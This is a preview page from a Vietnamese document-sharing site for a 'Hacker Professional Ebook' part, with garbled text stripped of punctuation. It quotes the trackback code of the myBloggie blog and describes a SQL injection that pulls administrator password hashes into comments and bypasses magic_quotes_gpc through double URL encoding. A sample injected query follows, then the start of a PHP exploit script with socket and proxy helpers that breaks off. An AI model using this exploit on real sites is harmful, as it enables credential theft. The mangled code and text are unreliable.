TAILIEUCHUNG - Hacker Professional Ebook part 399

Tham khảo tài liệu 'hacker professional ebook part 399', công nghệ thông tin, kỹ thuật lập trình phục vụ nhu cầu học tập, nghiên cứu và làm việc hiệu quả | tback- trackback_reply 1 p Sorry Trackback failed. Reason No Excerpt p The blog name if empty _REQUEST blog_name blog_name urldecode substr _REQUEST blog_name O tb_blogname_len else blog_name No Blog Name Stimestamp mktime gmtdate H time Stimezone gmtdate i time Stimezone gmtdate s time Stimezone gmtdate n time Stimezone gmtdate d time Stimezone gmtdate Y time Stimezone Ssql INSERT INTO .COMMENT_TBL. SET post_id Stb_id comment_subject Stitle comments Sexcerpt com_tstamp Stimestamp poster Sblog_name home Surl comment_type trackback Sresult Sdb- sql_query Ssql or die Cannot query the database. br . mysql_error . you have sql injection in title url excerpt and blog_name argument with MySQL that allows SELECT subqueries for INSERT. so you can insert admin username password hash inside comments and you will see them at screen also arguments are passed to urldecode so you can bypass magic_quotes_gpc with 2527 sequence for the single quote char adn you can disclose table prefix going to http mybloggie mode viewdate you will have an error that disloses a query fragment ex. injecting code in title argument query becomes INSERT INTO mb_comment SET post_id 1 comment_subject hi comments SELECT CONCAT -- password -- FROM mb_user comments whatever com_tstamp 1154799697 poster whatever home http comment_type trackback error_reporting 0 ini_set max_execution_time 0 ini_set default_socket_timeout 5 function quick_dump string Sresult Sexa Scont 0 for i 0 i strlen string -1 i if ord string i 32 ord string i 126 result. . else result. . string i if strlen dechex ord string i 2 Sexa. .dechex ord Sstring Si else Sexa. 0 .dechex ord Sstring Si Scont if Scont 15 cont 0 result. r n Sexa. r n return exa. r n . result proxy_regex b d 1 3 . d 1 3 . d 1 3 . d 1 3 d 1 5 b function sendpacketii Spacket global Sproxy Shost Sport html proxy_regex if Sproxy Sock fsockopen gethostbyname host Sport if Sock echo No response from . host. . port die else c .

• Kỹ thuật lập trình
• thủ thuật lập trình
• tài liệu lập trình
• thủ thuật hack
• hướng dẫn hack
• công cụ hack
• Hacker Professional Ebook
• kỹ thuật lập trình
• kỹ năng lập trình
• bí quyết lập trình
• phương pháp lập trình
• tư liệu lập trình
• kĩ thuật lập trình
• hướng dẫn lập trình
• kĩ năng lập trình
• AutoIT